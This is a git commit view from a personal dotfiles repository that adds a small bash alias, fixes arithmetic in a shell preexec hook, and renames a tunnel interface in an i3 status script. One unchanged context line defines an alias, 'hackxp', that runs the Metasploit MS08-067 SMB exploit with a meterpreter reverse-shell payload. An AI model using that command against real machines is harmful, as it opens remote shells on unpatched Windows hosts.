Browse Source

aliases; i3 status hook fix

master
Robin Thoni 7 years ago
parent
commit
17d6ea0ed6
3 changed files with 3 additions and 2 deletions
  1. 1
    0
      bash/bash_aliases
  2. 1
    1
      bash/bash_preexec_hooks
  3. 1
    1
      i3/i3/status/status.py

+ 1
- 0
bash/bash_aliases View File

@@ -100,3 +100,4 @@ alias ns="sudo netstat -ntpa | grep LISTEN"
100 100
 alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
101 101
 alias signal="/usr/bin/chromium-browser --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
102 102
 alias slog="tail -f /var/log/syslog"
103
+alias devsd="ls /dev | grep sd"

+ 1
- 1
bash/bash_preexec_hooks View File

@@ -22,7 +22,7 @@ precmd()
22 22
   if [ -n "$__BASH_HOOKS_COMMAND__" ]
23 23
   then
24 24
     ts=$(timestamp)
25
-    diff=$((ts - $__BASH_HOOKS_TIME__))
25
+    diff=$(($ts - $__BASH_HOOKS_TIME__))
26 26
     __bash_hooks_command_finished "$__BASH_HOOKS_COMMAND__" $diff
27 27
     export __BASH_HOOKS_COMMAND__=
28 28
     export __BASH_HOOKS_TIME__=

+ 1
- 1
i3/i3/status/status.py View File

@@ -135,7 +135,7 @@ def get_iface_param(iface):
135 135
 
136 136
 ifaces_wireless = ["wlan0", "wlan1"]
137 137
 ifaces_wired = ["eth0", "usb0", "br0"]
138
-ifaces_tun = [["tap0", "rthoni.com"], ["tun1", "inet"],
138
+ifaces_tun = [["tap0", "rthoni.com"], ["tun0", "inet"],
139 139
         ["tun2", "betaclean"]]
140 140
 
141 141
 for iface in ifaces_wireless:

Loading…
Cancel
Save